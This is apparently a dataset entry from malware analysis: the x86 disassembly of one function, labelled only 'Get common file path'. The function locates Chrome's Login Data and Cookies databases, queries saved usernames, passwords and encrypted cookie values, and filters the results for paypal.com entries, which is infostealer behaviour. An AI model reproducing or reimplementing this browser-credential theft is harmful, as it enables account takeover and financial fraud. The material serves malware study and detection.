Function at 0x40ad20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x491ab4
mov eax, dword fs:[0]
push eax
sub esp, 0x2d8
mov eax, dword [0x4a7464]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
lea eax, [ebp - 0x114]
push eax
push ebx
push ebx
push 0x801c
push ebx
mov dword [ebp - 0x114], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea edi, [ebp - 0x114]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x40ad72
mov ecx, 0xb
mov esi, str.GoogleChromeUser_DataDefaultLogin_Data
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x218]
push ecx
push ebx
push ebx
push 0x801c
push ebx
mov dword [ebp - 0x218], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea edi, [ebp - 0x218]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x40ada8
mov ecx, 0xa
mov esi, str.GoogleChromeUser_DataDefaultCookies
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x2c8]
push edx
lea eax, [ebp - 0x218]
push eax
movsb byte es:[edi], byte [esi]
call fcn.0045a620
add esp, 8
test eax, eax
jne 0x40b11a
mov edx, dword [ebp - 0x2c8]
push ebx
lea ecx, [ebp - 0x28c]
push ecx
push 0xffffffffffffffff
push str.SELECT_host_key__name__encrypted_value_FROM_cookies
push edx
call fcn.004599b0
add esp, 0x14
test eax, eax
jne 0x40b113
mov eax, dword [ebp - 0x28c]
push eax
call fcn.0045ff60
add esp, 4
cmp eax, 0x64
jne 0x40b127
lea esp, [esp]
mov ecx, dword [ebp - 0x28c]
push ebx
push ecx
call fcn.0043a650
mov edx, dword [ebp - 0x28c]
push 1
push edx
mov esi, eax
call fcn.0043a650
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0x28c]
push 2
push eax
call fcn.0043a650
add esp, 0x18
push esi
push str..paypal.com
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x40ae7a
push esi
push str.www.paypal.com
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x40b0f9
mov esi, dword [ebp - 0x290]
push esi
push str.login_email
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x40aea4
push esi
push str.email
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x40b0f9
push edi
call fcn.00403680
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2b8], esp
push 3
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x4939bc
mov edi, eax
mov byte [ecx + 4], bl
call fcn.00401ac0
sub esp, 0x1c
mov esi, esp
mov eax, edi
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x2bc], esp
mov byte [esi + 4], bl
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x40aef0
sub eax, ecx
push eax
push edi
mov ecx, esi
call fcn.00401ac0
lea ecx, [ebp - 0x2a8]
push ecx
mov dword [ebp - 4], 0xffffffff
call fcn.00474d60
add esp, 0x3c
mov ecx, dword [ebp - 0x298]
sub ecx, dword [ebp - 0x29c]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 4], 1
cmp eax, 3
je 0x40afa3
mov eax, edi
mov dword [ebp - 0x238], 0xf
mov dword [ebp - 0x23c], ebx
mov byte [ebp - 0x24c], bl
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40af60
sub eax, edx
push eax
push edi
lea ecx, [ebp - 0x250]
call fcn.00401ac0
lea ecx, [ebp - 0x250]
push ecx
mov ecx, 0x4aaaa0
mov byte [ebp - 4], 2
call fcn.00403140
cmp dword [ebp - 0x238], 0x10
jb 0x40b090
mov edx, dword [ebp - 0x24c]
jmp 0x40b087
push ebx
push 0x493343
lea ecx, [ebp - 0x234]
mov dword [ebp - 0x21c], 0xf
mov dword [ebp - 0x220], ebx
mov byte [ebp - 0x230], bl
call fcn.00401ac0
mov ecx, dword [ebp - 0x298]
sub ecx, dword [ebp - 0x29c]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov byte [ebp - 4], 3
jne 0x40aff4
call fcn.004766d7
mov ecx, dword [ebp - 0x29c]
push 0xffffffffffffffff
push ebx
push ecx
lea ecx, [ebp - 0x234]
call fcn.004024a0
push 1
push 0x4939b8
lea ecx, [ebp - 0x234]
call fcn.004025b0
mov ecx, dword [ebp - 0x298]
sub ecx, dword [ebp - 0x29c]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
lea esi, [eax - 1]
cmp esi, eax
jb 0x40b046
call fcn.004766d7
mov eax, dword [ebp - 0x29c]
lea edx, [esi*8]
push 0xffffffffffffffff
sub edx, esi
lea eax, [eax + edx*4]
push ebx
push eax
lea ecx, [ebp - 0x234]
call fcn.004024a0
lea ecx, [ebp - 0x234]
push ecx
mov ecx, 0x4aaaa0
call fcn.00403140
cmp dword [ebp - 0x21c], 0x10
jb 0x40b090
mov edx, dword [ebp - 0x230]
push edx
call fcn.00476416
add esp, 4
cmp edi, ebx
je 0x40b09d
push edi
call fcn.00476ba8
add esp, 4
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 4], 0xffffffff
cmp eax, ebx
je 0x40b0d8
mov ecx, dword [ebp - 0x2b8]
push ecx
mov ecx, dword [ebp - 0x298]
lea edx, [ebp - 0x2a0]
push edx
push ecx
push eax
call fcn.004028c0
mov edx, dword [ebp - 0x29c]
push edx
call fcn.00476416
add esp, 0x14
mov eax, dword [ebp - 0x2a8]
push eax
mov dword [ebp - 0x29c], ebx
mov dword [ebp - 0x298], ebx
mov dword [ebp - 0x294], ebx
call fcn.00476416
add esp, 4
mov ecx, dword [ebp - 0x28c]
push ecx
call fcn.0045ff60
add esp, 4
cmp eax, 0x64
je 0x40ae20
jmp 0x40b127
push str.Error_preparing_database__n
jmp 0x40b11f
push str.Error_opening_database__n
call fcn.004780e0
add esp, 4
lea edx, [ebp - 0x2c0]
push edx
lea eax, [ebp - 0x114]
push eax
call fcn.0045a620
add esp, 8
test eax, eax
jne 0x40b6fa
mov edx, dword [ebp - 0x2c0]
push ebx
lea ecx, [ebp - 0x28c]
push ecx
push 0xffffffffffffffff
push str.SELECT_origin_url__username_value__password_value_FROM_logins
push edx
call fcn.004599b0
add esp, 0x14
test eax, eax
jne 0x40b6ed
mov eax, dword [ebp - 0x28c]
push eax
call fcn.0045ff60
add esp, 4
cmp eax, 0x64
jne 0x40b6fa
mov ecx, dword [ebp - 0x28c]
push ebx
push ecx
mov esi, 0xf
call fcn.0043a650
mov edx, dword [ebp - 0x28c]
push 1
push edx
mov edi, eax
call fcn.0043a650
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 0x28c]
push 2
push eax
call fcn.0043a650
push eax
call fcn.00403680
add esp, 0x1c
push ebx
push 0x493343
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x238], esi
mov dword [ebp - 0x23c], ebx
mov byte [ebp - 0x24c], bl
call fcn.00401ac0
push ebx
push 0x493343
lea ecx, [ebp - 0x234]
mov dword [ebp - 4], 4
mov dword [ebp - 0x21c], esi
mov dword [ebp - 0x220], ebx
mov byte [ebp - 0x230], bl
call fcn.00401ac0
mov eax, edi
mov byte [ebp - 4], 5
lea esi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b220
mov ecx, str.https:__www.paypal.com
sub eax, esi
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x40b231
sub ecx, esi
cmp eax, ecx
jb 0x40b293
mov eax, str.https:__www.paypal.com
xor esi, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b248
sub eax, edx
je 0x40b293
jmp 0x40b260
mov cl, byte [esi + edi]
mov byte [ebp - 0x2bc], cl
mov edx, dword [ebp - 0x2bc]
push edx
push 1
lea ecx, [ebp - 0x250]
call fcn.00401810
mov eax, str.https:__www.paypal.com
inc esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b286
sub eax, edx
cmp esi, eax
jb 0x40b260
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b298
sub eax, edx
mov edx, eax
mov eax, str.https:__paypal.com
lea esi, [eax + 1]
jmp 0x40b2b0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b2b0
sub eax, esi
cmp edx, eax
jb 0x40b313
mov eax, str.https:__paypal.com
xor esi, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b2c7
sub eax, edx
je 0x40b313
jmp 0x40b2e0
mov al, byte [esi + edi]
mov byte [ebp - 0x2b8], al
mov ecx, dword [ebp - 0x2b8]
push ecx
push 1
lea ecx, [ebp - 0x234]
call fcn.00401810
mov eax, str.https:__paypal.com
inc esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b306
sub eax, edx
cmp esi, eax
jb 0x40b2e0
sub esp, 0x1c
mov esi, esp
mov eax, str.https:__www.paypal.com
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov dword [ebp - 0x2b0], esp
mov byte [esi + 4], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b333
sub eax, edi
push eax
push str.https:__www.paypal.com
mov ecx, esi
call fcn.00401ac0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2c4], esp
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x250]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push edx
mov byte [ebp - 4], 6
mov byte [ecx + 4], bl
call fcn.004018c0
mov byte [ebp - 4], 5
call fcn.00474820
add esp, 0x38
cmp al, bl
jne 0x40b3f9
sub esp, 0x1c
mov esi, esp
mov eax, str.https:__paypal.com
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov dword [ebp - 0x2c4], esp
mov byte [esi + 4], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b3a4
sub eax, edi
push eax
push str.https:__paypal.com
mov ecx, esi
call fcn.00401ac0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2b0], esp
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x234]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push eax
mov byte [ebp - 4], 7
mov byte [ecx + 4], bl
call fcn.004018c0
mov byte [ebp - 4], 5
call fcn.00474820
add esp, 0x38
cmp al, bl
je 0x40b5ac
cmp dword [ebp - 0x290], ebx
je 0x40b683
mov edi, dword [ebp - 0x2b4]
mov esi, 0xf
mov eax, edi
mov dword [ebp - 0x294], esi
mov dword [ebp - 0x298], ebx
mov byte [ebp - 0x2a8], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b427
sub eax, edx
push eax
push edi
lea ecx, [ebp - 0x2ac]
call fcn.00401ac0
lea ecx, [ebp - 0x2ac]
push ecx
mov ecx, 0x4aaaa0
mov byte [ebp - 4], 8
call fcn.00403140
cmp dword [ebp - 0x294], 0x10
mov byte [ebp - 4], 5
jb 0x40b46e
mov edx, dword [ebp - 0x2a8]
push edx
call fcn.00476416
add esp, 4
mov dword [ebp - 0x294], esi
mov esi, dword [ebp - 0x290]
mov eax, esi
mov dword [ebp - 0x298], ebx
mov byte [ebp - 0x2a8], bl
lea edx, [eax + 1]
jmp 0x40b490
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b490
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x2ac]
call fcn.00401ac0
lea eax, [ebp - 0x2ac]
push eax
mov ecx, 0x4aaaec
mov byte [ebp - 4], 9
call fcn.00403140
cmp dword [ebp - 0x294], 0x10
jb 0x40b4d3
mov ecx, dword [ebp - 0x2a8]
push ecx
call fcn.00476416
add esp, 4
mov eax, 0xf
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x274], ebx
mov byte [ebp - 0x284], bl
mov dword [ebp - 0x254], eax
mov dword [ebp - 0x258], ebx
mov byte [ebp - 0x268], bl
mov eax, edi
mov byte [ebp - 4], 0xa
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b505
sub eax, edx
mov edx, dword [ebp - 0x2b4]
push eax
push edx
lea ecx, [ebp - 0x288]
call fcn.00401ac0
mov eax, esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b526
sub eax, edi
push eax
push esi
lea ecx, [ebp - 0x26c]
call fcn.00401ac0
lea eax, [ebp - 0x288]
push eax
mov ecx, 0x4aaad4
call fcn.0040aaa0
mov ecx, dword [ebp - 0x2b4]
push esi
push ecx
push str._s__s_n
call fcn.004780e0
add esp, 0xc
cmp dword [ebp - 0x254], 0x10
mov byte [ebp - 4], 5
jb 0x40b57e
mov edx, dword [ebp - 0x268]
push edx
call fcn.00476416
add esp, 4
cmp dword [ebp - 0x270], 0x10
mov dword [ebp - 0x254], 0xf
mov dword [ebp - 0x258], ebx
mov byte [ebp - 0x268], bl
jb 0x40b5ac
mov eax, dword [ebp - 0x284]
push eax
call fcn.00476416
add esp, 4
mov edi, dword [ebp - 0x290]
cmp edi, ebx
je 0x40b683
mov eax, edi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b5c0
sub eax, edx
cmp eax, 1
jbe 0x40b67a
mov esi, str._null_
mov eax, edi
lea esp, [esp]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x40b600
cmp cl, bl
je 0x40b5fc
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x40b600
add eax, 2
add esi, 2
cmp cl, bl
jne 0x40b5e0
xor eax, eax
jmp 0x40b605
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x40b67a
mov esi, 0xf
mov eax, edi
mov dword [ebp - 0x2cc], esi
mov dword [ebp - 0x2d0], ebx
mov byte [ebp - 0x2e0], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b625
sub eax, edx
push eax
push edi
lea ecx, [ebp - 0x2e4]
call fcn.00401ac0
lea ecx, [ebp - 0x2e4]
push ecx
mov ecx, 0x4aaaec
mov byte [ebp - 4], 0xb
call fcn.00403140
cmp dword [ebp - 0x2cc], 0x10
jb 0x40b668
mov edx, dword [ebp - 0x2e0]
push edx
call fcn.00476416
add esp, 4
mov dword [ebp - 0x2cc], esi
mov dword [ebp - 0x2d0], ebx
mov byte [ebp - 0x2e0], bl
push edi
call fcn.00476ba8
add esp, 4
mov esi, 0x10
cmp dword [ebp - 0x21c], esi
jb 0x40b69f
mov eax, dword [ebp - 0x230]
push eax
call fcn.00476416
add esp, 4
mov dword [ebp - 0x21c], 0xf
mov dword [ebp - 0x220], ebx
mov byte [ebp - 0x230], bl
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x238], esi
jb 0x40b6d3
mov ecx, dword [ebp - 0x24c]
push ecx
call fcn.00476416
add esp, 4
mov edx, dword [ebp - 0x28c]
push edx
call fcn.0045ff60
add esp, 4
cmp eax, 0x64
je 0x40b183
jmp 0x40b6fa
push str.Error_preparing_database__n
call fcn.004780e0
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00476b99
mov esp, ebp
pop ebp
ret